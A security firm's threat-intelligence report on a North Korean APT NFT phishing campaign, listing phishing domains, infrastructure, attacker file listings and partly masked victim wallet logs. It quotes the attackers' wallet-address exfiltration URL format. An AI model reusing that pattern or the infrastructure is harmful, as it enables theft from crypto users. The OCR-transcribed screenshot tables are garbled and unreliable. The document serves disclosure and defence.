slowmist.medium.com /slowmist-our-in-depth-investigation-of-north-korean-apts-large-scale-phishing-attack-on-nft-users-...

SlowMist: Investigation of North Korean APT's Large-Scale Phishing Attack on NFT Users

SlowMist :: 12/24/2022



Background

On September 2, the SlowMist security team discovered that suspected APT groups were conducting large-scale phishing activities targeting NFT users in the encryption ecosystem, and released the "How Scammers Are Paying Nothing for Your NFTs".

On September 4, Twitter user PhantomXSec tweeted that the North Korean APT group were responsible for crypto and NFT phishing campaigns targeting dozens of ETH and SOL projects.



North Korean APT group responsible for crypto and NFT phishing campaign spanning over 190 domains

Targeting dozens of **\$ETH** and **\$SOL** projects.

Uses collections on NFT marketplaces to lure victims to malicious minting sites.

PhantomXsec provided information on 196 phishing domain names that were linked to North Korean hackers after a thorough analysis. The list of specific domain names is as follows:

	DPRK NFT Phishing Campaign found by @phantomxsec
	O A GUEST H SEP 3RD, 2022 O 215 C O O O NEVER D ADD COMMENT COMMENT C
text	3.32 KB None 🖞 0 🖓 0
1.	003errornotice.com
2.	1inameelionwatch.org
3.	1inameelionwatch.space
4.	8bitwolves.com
5.	adventureland.fun
6.	alertnfts.org
7.	alienfrens.in
8.	angelsdevilsnft.in
9.	angelsofaether.online
10.	angrybirds.fun
11.	apekids.fun
12.	apelist.tech
13.	ascendednft.site
14.	atsnft.in
15.	aweth.io

The SlowMist security team noticed the incident and immediately followed up with an in-depth analysis.

By the way, the same North Korean cyber actors responsible for the massive Naver phishing campaign first documented by @prevailion are also behind this campaign.

For confidentiality and privacy reasons, this article only analyzed a small portion of the NFT phishing materials and extracted some phishing characteristics of the North Korean hackers. However, this is just the tip of the iceberg.



Analysis of Phishing Websites

Upon further investigation, we found that one of the techniques used in this phishing attack involved creating fake NFT-related decoy websites with malicious Mints. These NFTs were sold on platforms such as OpenSea, X2Y2, and Rarible. The North Korean APT group targeted Crypto and NFT users with a phishing campaign using nearly 500 different domain names.

By checking the registration information of these domain names, we found that the earliest registration date was traced back to 7 months ago.

URL: http://bo	oredsnakesclub.c	:om/ (May 22nd 20	22. 6:00:24 pm L	JTC) from US	- Scanne	ed from CA I+						
A Summary	# HTTP 80 A	Redirects	IC-Links	Behaviour	* Indicators	🖉 Similar	∎ром	Content	器API 🗖	/erdicts		
Summary								Screensho	ot	•	Live screenshot	💥 Full Image
This websit transaction FR. The ma	te contacted 9 IPs ns. The main IP is in domain is <mark>bore</mark>	in 4 countr 158.69.133 dsnakesclul	ies across 10 d .72, located in b.com.	lomains to pe Montreal, Ca	erform 80 HT anada and be	FTP Hongs to OVH,			<u>F</u>	- +75. Bug bushtup band.		
This is the o	only time boredsno	akesclub.com	was scanned	on urlscan.io	!			Bored	SnakeClu	b NFTs		
urlscan.i	Verdict: No	classificat	tion 📀						t de la companya de la companya de la comp			a de la calencia de la ca encla de la calencia de l
Live info	rmation							The field				W2
Google Saf Current DN Domain cre Domain reg	e Browsing: 오 N NS A record: 158.0 eated: April 24th 2 gistrar: PDR Ltd. c	o classificat 69.133.72 (/ 2022, 15:30 1/b/a Publici	ion for boredsn AS16276 - OVI :00 (UTC) DomainRegistr	akesclub.com H, FR) ry.com				Detected	technologi	es		
								WooCon	merce (Ecom	merce)		Expand
Domain &	IP information	า						WordPre	ss (CMS)			Expand
IP/ASNs	IP Detail D	Oomains	Domain Tree	Links	Certs	Frames		Elemente	or (Landing Pag	e Builders)		Expand
÷		IP	Address	AS Autone	omous System			Font Aw	esome (Font So	ripts)		Expand
24		158.6	9.133.72 +	16276 (O	VH)			iOuerv ()	avaScrint Librar	ries)		Expand
43		167.8	6.90.254 💻	51167 (C	ONTABO)			(jQuery N	ligrate (JavaSo	ript Libraries)		Expand
1	2607:f	8b0:4006:8	07::200a 💻	15169 (G	OOGLE)			🏮 jsDelivr (CDN)			Expand
1	26	06:4700::68	311:180e 💻	13335 (C	LOUDFLAREN	ET)		Dago Stati	etice			
1		51.222	.199.226 +	16276 (0	VH)			rage Stati	3005	<i>(</i> 7)	40	10
1	200)1:4de0:ac1	8::1:a:2b 🚍	20446 (ST	TACKPATH-CD	N)		80	/5 %	6/%	10	10
1	260	06:4700::68	10:5914	13335 (C	LOUDFLAREN	ET)		Requests	HTTPS	IPv6	Domains	Subdomains
5	26	506:4700::6	810:7aaf 💻	13335 (C	LOUDFLAREN	ET)		9	4	5531 kB	8318 kB	0
3	2607:6	8b0:4006:8	24::2003	15169 (G	OOGLE)			IPs	Countries	Transfer	Size	Cookies
					,							

At the same time, we also found some unique phishing traits commonly used by North Korean hackers:

Trait 1: Phishing websites will record visitor data and save it to external sites. The hacker records visitors' information to an external domain through an HTTP GET request. Although the domain names sending the request are different, the API interface of the request is "/postAddr.php". The general format is "https://nserva.live/postAddr.php?mmAddr=...[Metamask]...&accessTime=xxx&url=evil.site", where the parameter mmAddr records the visitor's wallet address, and accessTime records the visitor's visit Time, url records the phishing website link currently visited by the visitor.



Trait 2: The phishing website will request an NFT item price list , usually the HTTP request path is "getPriceData.php":

Request	Response
Pretty Raw Hex 🚍 \n 🚍	Pretty Raw Hex Render 🚍 \N 🗮
<pre>1 GET /getPriceData.php HTTP/1.1 2 Host: nserva.live 3 Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108", "Google Chrome";v="108" 4 Accept: */* 5 Sec-Ch-Ua-Mobile: ?0 6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.00 Safari/537.36</pre>	<pre>1 HTTP/1.1 200 OK 2 Date: Thu, 22 Dec 2022 07:46:50 GMT 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/7.3.6 4 X-Powered-By: PHP/7.3.6 5 Access-Control-Allow-Origin: * 6 Connection: close 7 Content-Type: text/html; charset=UTF-8 8 Content-Length: 299691 9 10 { 11 "nftPriceData": { </pre>
7 Sec-Ch-Ua-Platform: "macOS" 8 Origin: https://www.baycanimation.xyz 9 Sec-Fetch-Site: cross-site 0 Sec-Fetch-Mode: cors 1 Sec-Fetch-Dest: empty 2 Referer: https://www.baycanimation.xyz/ 3 Accept-Encoding: gzip, deflate 4 Accept-Language: zh-CN,zh;q=0.9 5 Connection: close .6 .7	12 "0xd4e4078ca3495de5b1d4db434bebc5a986197782": 340, 13 "0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d": 68.6105, 14 "0x9c8ff314c9bc7f6e59a9d9225fb22946427edc03": 38, 15 "0x08d7c0242953446436f34b4c78fe9da38c73668d": 37.9, 16 "0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb": 80, 17 "0x22c36bfdcef207f9c0cc941936eff94d4246d14a": 24, 18 "0x57a204aa1042f6e66dd7730813f4024114d74f37": 12.5, 19 "0x23581767a106ae21c074b2276d25e5c3e136a68b": 8.8, 20 "0x348fc118bcc65a92dc033a951af153d14d945312": 12.89, 21 "0xed5af388653567af2f388e6224dc7c4b3241c544": 12.99, 22 "0x620b70123fb810f6c653da7644b5d00b6312e4d8": 9, 23 "0x60e4d786628fea6478f785a6d7e704777c86a7c6": 14.83, 24 "0x8a90cab2b38dba80c64b7734e58ee1db38b8992e": 7, 25 "0x49cf6f5d44e70224e2e23fdcdd2c053f30ada28b": 7, 26 "0xc541fc1aa62384ab7994268883f80ef92aac6399": 1.4269, 27 "0xa3aee8bce55beea1951ef834b99f3ac60d1abeeb": 5.319, 8 "0xba30e5f9bb24caa003e9f2f0497ad287fdf95623": 6.153, 29 "0x9930929903f9c6c83d9e7c70d058d03c376a8337": 4, 30 "0x86825dfca7a6224cfbd2da48e85df2fc3aa7c4b1": 0.587, 31 "0x86357a19e5537a8fba9a004e555713bc943a66c0": 7, 20 "0x341a1c534248966c4b6afad165b98daed4b964ef": 1.64, 32 "0x7da12608f14d2bfc2a234f18275bbf32bb73bb734b734c56ef": 14.64, 33 "0x86407806c4b6748f7856677047756b87660": 7, 34 "0x86407806c4b67487785677760058d03c376a8377": 4, 30 "0x8642746724224c224cfbd2da48e85df2fc3aa7c4b1": 0.587, 31 "0x86427467246224cf18275bbf32bb73bc943a66c0": 7, 32 "0x341a1c534248966c4b6afad165b98daed4b964ef": 1.64, 33 "0x7bd32048f142bfc2a234f18275bbf32bb73bc943a66c0": 7, 34 %0x341a1c534248966c4b6afad165b98daed4b964ef": 1.64, 34 %0x341a1c53424896c4b6afad165b98daed4b964ef": 1.64,

Trait 3: There is a file "imgSrc.js" linking images to the target project , which contains a list of target sites and the hosting location of the image files used on their corresponding phishing sites. This file may be part of the phishing site template.

file	name:"/imgSrc.js"			Q Sear	ch	×	1	lelp
Sea	arch results (100/230	Showing A	ll Hits	∮ De	etails: H	Hidden		
	URL		Age	Size	÷.	IPs	≈	ŧ
Ο	www.www.tritonpass.org/	Public	14 hours	2 MB	22	9	3	I+I
Ο	www.www.onpodx.net/	Public	14 hours	2 MB	22	9	3	I+I
0	www.mstable.net/	Public	17 hours	1 MB	29	9	3	
	theopensdao.com/	Public	17 hours	3 MB	16	7	3	
	doguinu.net/	Public	1 day	2 MB	12	8	5	
	get-protocol.xyz/	Public	1 day	2 MB	21	8	3	
	mutantdao.co/	Public	2 days	10 MB	34	8	5	\triangleright
	mutantdao.co/	Public	2 days	10 MB	34	8	5	\triangleright
0	trueusd.app/	Public	2 days	1 MB	22	10	4	\triangleright
Ο	mstable.net/	Public	2 days	1 MB	29	9	3	
Ο	mstable.net/	Public	2 days	1 MB	29	9	3	
	ushi.live/	Public	3 days	1 MB	21	7	3	
	collinsmusic.fun/	Public	3 days	7 MB	58	10	3	I+I

Further analysis found that the main domain name used by APT to monitor user requests is "thedoodles.site", which was mainly used to record user data in the early days of APT activities:

IP/A	ASNs	IP Detail	Domains	Domain Tree	Links	Certs	Frames			
÷	Doma	ain		Rec	uested by	,				
43	www.	boredsnakecl	ub.com	bor ww	boredsnakesclub.com www.boredsnakeclub.com					
20	bored	lsnakesclub.co	m	bor ww	edsnakesc w.boredsn	lub.com akeclub.com				
5	unpk	g.com		bor	edsnakesc	lub.com				
Δ	thodo	odles site		hor	edsnakesc	lub.com				
7	thedo	oules.site		the	doodles.sit	te				
3	fonts.	gstatic.com		the	doodles.sit ts.googlea	pis.com				
3 1	fonts.	gstatic.com delivr.net		fon bor	doodles.sit ts.googlea edsnakesc	te pis.com lub.com				
3 1 1	fonts. cdn.js code.j	gstatic.com delivr.net jquery.com		fon bor bor bor	doodles.sit ts.googlea edsnakesc edsnakesc	pis.com lub.com lub.com				
3 1 1 1	fonts. cdn.js code.j	gstatic.com delivr.net jquery.com ta.site		bor the bor bor bor	doodles.sit ts.googlea edsnakesc edsnakesc edsnakesc	lub.com lub.com lub.com				

Domain & IP information

The HTTPS certificate for this domain name was queried 7 months ago, indicating that the hacker organization had already begun targeting NFT users at that time.

	Criteria	Тур	e: Common Na	me Match:	= Search:	'thedoodles.site'	
Certificates	crt.s	h ID	Logged At 介	Not Before	Not After	Issuer Name	
	75283	56474	2022-09-12	2022-09-12	2022-12-11	C=US, O=Let's Encrypt, CN=R	3
	75283	<u>56201</u>	2022-09-12	2022-09-12	2022-12-11	C=US, O=Let's Encrypt, CN=R	3
	72213	<u>98918</u>	2022-07-29	2022-07-29	2022-10-27	C=US, O=Let's Encrypt, CN=R	3
	72213	<u>90730</u>	2022-07-29	2022-07-29	2022-10-27	C=US, O=Let's Encrypt, CN=R	3
	<u>66580</u>	<u>29958</u>	2022-05-03	2022-05-03	2022-08-01	C=US, O=Let's Encrypt, CN=R	3
	<u>66550</u>	<u>13265</u>	2022-05-03	2022-05-03	2022-08-01	C=US, O=Let's Encrypt, CN=R	3

Lastly, let's see some of the phishing sites the hackers have deployed and operated:

The latest site pretended to be a project associated with the World Cup:

URL:	https://www.fantasyworldcup.fun/	- 2445 2022 7.42-25	am LITC) fo	CD N	Second from DE					
t subm	iummary #HTTP 22 + Redirects	Behaviour	Indicators	@ Similar	DOM Conten	: 跟API .	Verdicts			
Sum	nmary					Screensh	ot		Live screenshot	XFull Image
Th Th WV TL	his website contacted 9 IPs in 5 coun te main IP is 51.222.194.220 , located ww.fantasyworldcup.fun . S certificate: Issued by <i>R3</i> on Octobe	tries across 8 dom d in Canada and be er 23rd 2022. Valie	alins to per clongs to O d for: 3 mo	rform 22 HT IVH, FR. The nths.	TP transactions. main domain is	e a	t Muris Gup AAT2022	Welcom		-
Th	is is the only time www.fantasyworld	cup.fun was scanne	ed on urlsc	an.io!			10		Cup	
ur	rlscan.io Verdict: No classifica	ation 📀						23 10 Intra Maria I	10	
Li Ga Cu Da Da	ve information pogle Safe Browsing: • No classific: rrent DNS A record: 51.222.194.22 omain created: October 23rd 2022, 1 omain registrar: Hostinger, UAB main & IP information	ation for www.fant 0 (AS16276 - OVH 10:44:30 (UTC)	asyworldcu H, FR)	ıp.fun		Detected Bootstra Giguery	technologi ap (Web Framew JavaScript Libra	es rorks)		Expand
IP	ASNs IP Detail Domains	Domain Tree	Links	Certs	Frames	🏮 jsDelivr	(CDN)			Expand
	Demain	Ben	uncted by			Page Stat	istics			
5	unpkg.com	www	w.fantasyw	orldcup.fun		22	91 %	38 %	8	8
5	worldfantasycup.com	wor	w.fantasyw Idfantasyo	orldcup.fun up.com		Requests 9	HTTPS	IPv6 2500 kB	Domains	Subdomains 0
3	tothesky.in	cdn.	w.fantasyw jsdelivr.ne	orldcup.fun t		IPs	Countries	Transfer	Size	Cookies
3	cdn.jsdelivr.net	www.	w.fantasyw	orldcup.fun						
1	fonts.googleapis.com	wor	Idfantasyc	up.com						
1	cdnjs.cloudflare.com	WW/	w.fantasyw	orldcup.fun						
1	maincontrol.in	WW/	w.fantasyw	orldcup.fun						
1	www.fantasyworldcup.fun									

We continued to search for relevant website host information based on the relevant HTTPS certificate:

321/FTP	22/884	A 53/DNS		
	0 442/HTTD		00/111P	
		993/IMAP	/_ 2222/330	S200/MILSOL
services http:resp	onse body: :"> <ima src<="" td=""><td>="https://maincontr</td><td>ol in /resources/main</td><td>nna" style="width:150n</td></ima>	="https://maincontr	ol in /resources/main	nna" style="width:150n
a services.nup.resp	ionse.body., > <ing sic<="" td=""><td></td><td></td><td>.png style= width.ioop.</td></ing>			.png style= width.ioop.
16 35 (random.spyhealthcare.in	.net)		
DVH (16276)	Quebec, Canada			
21/FTP	>_22/SSH	25/SMTP	🛋 53/DNS	@ 80/HTTP
⊡110/POP3	☑ 143/IMAP	@ 443/HTTP	⊠ 587/SMTP	○ 993/IMAP
_2222/SSH	3306/MYSQL	I0000/HTTP	© 20000/HTTP	
Services.http.resp	oonse.body:/ajax/libs/s	pin.js/4.1.0/spin.m	in.css"> <script td="" type<=""></script>	

♀ services.tls.certificates.leaf_data.issuer.common_name: tothesky.in

-- /

.

We found various attack scripts used by hackers and txt files with statistical information on victims in some host addresses.

additional.css	2022-10-10 11:47	2.0K	
address.txt	2022-12-20 01:13	0	
adverse.txt	2022-12-22 03:39	14K	
approvetrxdata.txt	2022-12-21 04:09	18K	
block_ip.txt	2022-12-21 07:02	4.5K	
blockvisit.txt	2022-12-22 03:54	216	
check.php	2022-11-22 03:58	3.1K	
clear.php	2022-10-13 18:38	185	
engine module.js	2022-12-12 00:25	145K	
ngine module ape.js	2022-12-10 00:28	149K	
🕐 engine module e.js	2022-12-10 00:28	143K	
ngine module limit.js	2022-11-15 05:59	141K	
engine module lock.js	2022-10-31 00:56	141K	
🕐 engine module t.js	2022-12-01 17:24	141K	
engine module test.js	2022-12-10 00:28	143K	
engine module uni.js	2022-12-12 00:24	146K	
getPriceData.php	2022-10-10 11:47	151	
img <u>Src.js</u>	2022-10-10 11:12	74	
iplist.txt	2022-12-22 04:07	70K	
postAddr.php	2022-10-23 17:57	3.1K	
postSigData.php	2022-10-26 01:36	1.4K	
postTrxHash.php	2022-10-10 20:44	1.1K	
postVisit.php	2022-12-15 00:17	5.8K	
resources/	2022-10-23 00:24	-	
sigData.txt	2022-12-20 00:57	8.9K	
sigData_old.txt	2022-12-07 01:09	43K	
🝸 <u>spin.umd.js</u>	2022-10-10 10:59	7.3K	
vendor/	2022-10-23 00:24	-	
🖹 <u>visit.txt</u>	2022-12-22 04:07	427	

These files recorded the victim's access records, authorizations, and uses of plug-in wallets:

⊲ ⊳ C	□ ▲ 不安全 1	.txt		🤓
12-21 22:00:12	www.nftiffany.io/?ps=6	66.5 15.1 2 PC	0x03 :446b223Bb4ffbd51d2E284Fe	METAMASK
12-21 22:00:19	www.nftiffany.io/?ps=6	66.5). 5.1 2 PC	SEAPI &T REJECT METAMASK	
12-21 22:00:20	www.nftiffany.io/?ps=6	66.5). 5.1 2 PC	SEAPI &T REJECT METAMASK	
12-21 22:00:20	www.nftiffany.io/?ps=6	66.5). 5.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:21	www.nftiffany.io/?ps=6	66.5). 5.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:21	www.nftiffany.io/?ps=6	66.5). 5.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:21	www.nftiffany.io/?ps=6	66.9). 5.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:21	www.nftiffany.io/?ps=6	66.9). 5.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:21	www.nftiffany.io/?ps=6	66.5).15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:22	www.nftiffany.io/?ps=6	66.5).15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:22	www.nftiffany.io/?ps=6	66.9). [5.] 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:22	www.nftiffany.io/?ps=6	66.5).: 15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:22	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:22	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:22	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:23	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:23	www.nftiffany.io/?ps=6	66.9).: 15.3 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:23	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:23	www.nftiffany.io/?ps=6	66.().: 15.1 2 PC	SEAP RT REJECT METAMASK	
12-21 22:00:23	www.nftiffany.io/?ps=6	66.().: [5.] 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:23	www.nftiffany.io/?ps=6	66.9).: [5.] 2 PC	SEAP REJECT METAMASK	
12-21 22:00:23	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP REJECT METAMASK	
12-21 22:00:24	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP REJECT METAMASK	
12-21 22:00:24	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP REJECT METAMASK	
12-21 22:00:24	www.nftiffany.io/?ps=6	66.9).15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:24	www.nftiffany.io/?ps=6	66.5).: 15.1 2 PC	SEAP REJECT METAMASK	
12-21 22:00:25	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP IT REJECT METAMASK	
12-21 22:00:26	www.nftiffany.io/?ps=6	66.().: 15.1 2 PC	SEAP(₹T_REJECT METAMASK	
12-21 22:00:27	www.nftiffany.io/?ps=6	66.5).15.1 2 PC	SEAP IT_REJECT METAMASK	
12-21 22:00:27	www.nftiffany.io/?ps=6	66.5).15.1 2 PC	SEAP IT_REJECT METAMASK	
12-21 22:00:51	www.nftiffany.io/?ps=6	66.9).: 15.1 2 PC	SEAP IT_REJECT METAMASK	
12-21 22:00:52	www.nftiffany.io/?ps=6	66.9).15.1 2 PC	SEAP IT_REJECT METAMASK	
12-21 22:00:52	www.nftiffany.io/?ps=6	66.9).: [5.] 2 PC	SEAP {T_REJECT METAMASK	
12-21 23:07:40	www.niftytailor.org/?ps=2	160. 20; 16(104 PC	0x63 L53E8d4d3c3d1498E96aBD0B0571a1cC 5 →	METAMASK
12-21 23:07:46	www.niftytailor.org/?ps=2	207. L2(.91. PC	0x1F 39e55f11Ec37fcf00eA1EF0407CD482E 4 3 3	METAMASK
12-21 23:19:51	www.holoframes.tech/?ps=1	207. L2(.91. PC	0x1F: 39e55f11Ec37fcf00eA1EF0407CD482E H > 3	METAMASK
12-21 23:24:53	www.nftiffany.io/?ps=4	207. L2(.91. PC	0x1F: 39e55f11Ec37fcf00eA1EF0407CD482E H 3 3	METAMASK
12-21 23:25:46	www.nftiffany.io/?ps=4	207. L2(.91. PC	0x79: L364a485a230d0a4AFd863941a6358cE ';) }	METAMASK
12-21 23:59:13	chainsdrop.xyz/	172.104.98.26 PC	0x62:)22107545164Ae0F0F8F541FAfA6B524 : 5 :	METAMASK
12-22 04:40:28	nftiffany.io/	103. L3! .248 181 PC	0x62:)22107545164Ae0F0F8F541FAfA6B524 : 5 3	METAMASK
12-22 04:40:28	mail.nftiffany.io/	103. L3! .248 181 PC	0x62:)22107545164Ae0F0F8F541FAfA6B524 : 5 :	METAMASK
12-22 07:38:59	www.hashflows.fun/	37. 20 221. 8 PC	0xb0 /9519E4b1a97786bB8Fe6D94344acABE ()	METAMASK
12-22 11:16:57	www.holoframes.tech/?ps=8	18.13 120. 02 PC	0xcC: /88dD749183B6E67B14D1084C8209c02 :: 5	METAMASK
12-22 11:26:39	www.holoframes.tech/?ps=8	66.130 196. 8 PC	0x1F 39e55f11Ec37fcf00eA1EF0407CD482E 4 > 3	METAMASK
12-22 11:37:50	www.niftytailor.org/?ps=4	160. 20: .16(104 PC	0x07] 11Dd63dA9Fe4ee0FFF7B407d01113e6(13 3	METAMASK
12-22 11:56:14	www.troublemaker.fun/	41.:3.:27.2 2 mobile	0x37: Le94e61D6Add984Acd9F513ee19E5eD2 1 1 5	METAMASK
12-22 11:56:22	www.troublemaker.fun/	41.:3.:?7.2 2 mobile	0x37(Le94e61D6Add984Acd9F513ee19E5eD2 1 1	METAMASK
12-22 15:08:47	www.g3vrse.org/	84.: 2: 3.14 PC	0xfF 36941bf6e16D0d8910B50dBFfb9e56D1 1 2 1	METAMASK
12-22 15:09:31	www.g3vrse.org/	84. 233.14 PC	0xfF >6941bf6e16D0d8910B50dBFfb9e56D1 ! ? :	METAMASK
12-22 16:02:15	www.noox.fi/	54.17.169.0 PC	0x0d 380D61e977a31D7BA27B9660C45374A()	METAMASK
12-22 16:04:04	www.noox.fl/	547.169.0 PC	UXUG. 580D61e977a31D7BA27B9660C45374A(.)	METAMASK
12-22 18:34:31	www.noox.fl/	54.: 77.169. 0 PC	UXUG. 580D61e977a31D7BA27B9660C45374A(.)	METAMASK
12-22 20:39:08	www.holoframes.tech/?ps=8	103.141.72.38 PC	0x27: LAa75D0AcB15eB68154b95560B41650E	METAMASK
12-22 21:10:16	www.chainsdrop.xyz/?ps=8	14924460 PC	0xad_372Cd209550e03AEebA8a756688d6255 1	METAMASK

It was found that this information matched the visitor data collected by the phishing sites.

It also includes the victim's approve record:

4	▷ C 口 ▲ 不安全	1 .txt	I 🦁 🔺
0 x	1F784058093C77F643b94b86087f64184e2 ; *	0xa u 914794b39b3581d1 40f89a444aa294a29f7522ac0ec8d74d10 3	https://www.invisiblem
0x	1F784058093C77F643b94b86087f64184e2 { }	0xc 5 1dbb7bd81804a295 778c1 d1df36242a59bfee3b5df9327cf3def8b2 a	https://www.invisiblem
0x	1F784058093C77F643b94b86087f64184e2 { }	0x3 b 5f31b51361366ae7 b51cb 306419643f7e16ceaf7b8eff3192ef3f37 4	https://www.invisiblem
0x	1F784058093C77F643b94b86087f64184e2	0xe 8 1f69f82c6e590339 28a2a 3f4388abd069cc483b54e8b3ac4c1de355 2	https://www.invisiblem
0x	1F784058093C77F643b94b86087f64184e2 1	0x5 0 9f0a0117ff12ee9d 556ea 2501d1ed18fa03a5b7e4bac353b7aaac42 3	https://www.invisiblem
0.2	2741f405B12f9c2fb84D8F6D30B13E8BD69 ()	0xf 3 454eb8c97becbb66 1c50e 26581546c8f2c80f1ce8d468f8c4366524 6	https://www.fantaswor
0.2	5741f405B12f9c2fb84D8F6D30B13E8BD69 ()	0xf 3 8bffdf7680390071 b8762 890631cb7b1da13fb45ad241eae8384f65 a	https://www.fantasywor
0.2	2741f405B12f9c2fb84D8F6D30B13E8BD69 ()	0x0 h f2174h96d6577d80 27chc 479f578cc0f628ce02a86c6c0a8ac1ha8f e	https://www.fantasywor
0.2	AF88808ad29037B8a4c78ca3665fC2c1Cc /	0xe 0 ade0ef03ae4bc54e 74e19 8eee9ea6edd5e2aac7b48b61e18716bd56 6	https://www.funcusywor
0.2	14F88808ad29037B8a4c78ca3665fC2c1Cc (0xe 0 ade0ef03ae4bc54e 74e19 8eee9ea6edd5e2aac7b48b61e18716bd56 6	https://www.fantasywor
0.2)ca6D93624e2Ea2CEc630Dc21E45EE80aB1 ()	Tra e erEth https://www.andplates.vvz/	heeps://www.runeusywor
0.2	3aD8B49702ab583EeE2Ed08451E03eE3e17	0x2 d d6a7d0880ff423d2 b887a 410909068942acba36a1f46d433b5b1d35 6	https://fantasuworldou
0 x	185D665330eCD7Cf7E451ed1d87ebc2E81f ()	0x4 f 87ed2e53f69a30e4 2c1e9 b7c939899b6073e7e06eda6c9a6ee70873 f	https://www.fantasywor
0x	316D49374d634E1B27a862EC5209493A6f0 1	0x7 a 4674be9167227e6b 80fac 6a97591bd0127dd184ef2b96e42503bf38 1	https://www.fantasywor
0.2	316D49374d634E1B27a862EC5209493A6f0 1;	0x6 h 361a7195103f4e26 114c2 55c0d0445acef1df1f7c0dd7e4d873975c a	https://www.fantasywor
0.2	320dabc9bCDE67E93c7e784728888269a3B	0xc c a61d4e428d056dc1; f239b 7cdf55acd56ff4203e26fe38dbc285b57b e	https://www.runcusywor
0.2	53c9e9f02367739790D95077C94eeF7C9c9 ()	0x0 0 adafb03b93956b48 508c9 f4144bb5a6c9d9da272066376c42f64f7f f	https://www.sacoshisca
0.2	53c8e8f02367738780D95077C94eeE7C9c8 ()	0xe a ash2ha758hddc82c 05506 1869c32acf65dd758hcf32747sh7ah3648 c	https://www.zombuddies
0.	24929E12bdc24D09c0C6E5496CB4607b261	0xe a fhdd05d7f07ea257, 5c500 07073aa262a6d600a6a2d6aff00002bf45 7	https://www.zombudules
0.2	115449216D9d01510fdb17768DCD1845e10	0x5 3 87cc26c714ae9e72 3be4b d08220e43067b8fbfa9e151b7263f79046 9	https://www.aptopunks.
0.2	115449216D9d01510fdb17768DCD1845e10 1	0x0 3 603f1f300cd40h0f db244 a8f117c0280180038850d080h2b147a2ac a	https://www.nacivepunk
0.2	115449216D9d01510fdb17768DCD1845e10	0x2 4 cc3dc3059acbe61b 244c8 384620dcfc01b27e55b8c20a605748408f 1	https://www.nacivepunk
0.4	2PD4054F46P1768fs1P562952obF0D408c4 ()	0x4 a f4bb4a7a2527fdb5 ff7a0 657a7d2030ab0f304923f66a4bd409099d a	https://www.nacivepunk
0.4	0bCoF1c639470o083F0001F0c8FD55B2c5 ()	0xq 0 055d3004403460f7, 705q7 g31gbbf07b43bf0g5dddfb853b0f11cg g	https://www.hashverse.
0.	0bCoF1c639470c08259001F9c8E55552c5 ()	0x0 d E4da00fdE12bEb42 fadb7 49f20E4afa2ba2aE622440626ab02d206E E	https://www.nashflows.
0.4	-0bCoP1c639470c093E9901F9c6E55552c5 ()	0x2 h d0h020222000d0csh 417d0 60fb50h41dd0cs0cs2f4522hdb222cs0565 4	https://www.hashflows.
0.4	JDCericoR04700005599011900559555205 ()	0x7 5 17f375h5e0002703 bd0b6 ec70f4ec8c7e0shee5h6663ffed0670d0e 7	https://www.hashflows.
0.4	AD4/AJ0/5/GGIPE5355110C63B11//04615 ()	0x7 5 1/15/50560002/55 50506 6C/5140C6C/0506650605110000/0000 /	https://www.hashilows.
0.4	388454896969d7a190a28040914b2a4207499 ()	0xz 6 a7ab5032720czc26 a1466 92720b9a9b14d17af720496699700c2c62 a	https://www.nashliows.
0	2AD45455656767816CC55604061452845C7466 (1	0x2 6 bb0ef200e072ee0b s1eb0 70e52ee55006407606ddfbe171e1df2106 f	https://nicinsignc.cec
0.4	310E46E0340E6d2680o3o03b872031Eo3ba ()	0x6 0 0002070760056550 45527 57045020b65701240064071000010617101012171 1	https://hitsinsight.ce
0	51054059240E005089626928872C21Fd5BC : 1	0x6 9 0642079719056556 45137 5794196200657613490664405521440257 5	https://www.anyathepan
0.	2572a51767F23a62a6776CD10202a6dFa70 1	0x6 2 2279aabf0b2f6d97 547f4 adf6ba97044526632b95107d0da63da69 b	https://www.anyachepan
0.4	572a5176FF33a62cD776CD19303a6dF678 : /	0x6 3 32/80000021608/ 04/14 6016008/044020632088310/0000630088 E	https://www.nativepunk
0.4	572a5176FF53a62cD776CD19303a6dFe76 : /	0x7 d d10db2510ba00500 fa144 295701a99401265dabd6a2b2aaaa57526b b	https://www.nacivepunk
0	312032EC743E144c077640036EE6760c76	0x7 d d10db5510bC90590 [a144 505701e88401565debd6a2b5eeae57551b b	https://www.nativepunk
0.4	5159255C/43F144C0//103920FE0/108/59 (1	0xC / 9a55500050444124. /11/5 401040050C000a/51501404057001042 0	https://www.nativepunk
0.4	2159255C745F144C077fd0026FF67f057E0 / 1	0x1 b 2331007000010000 55501 1071014b5ebaa21002e200000914Cabc15 1	https://www.nacivepunk
0.4	dbhc71d176h9ab02odd915B1B1b921784a0 ()	0x1 2 facefedeade7110f 19fb0 f14a9a7e29fe21625a29a75bbb6057bc99 a	https://www.nacivepunk
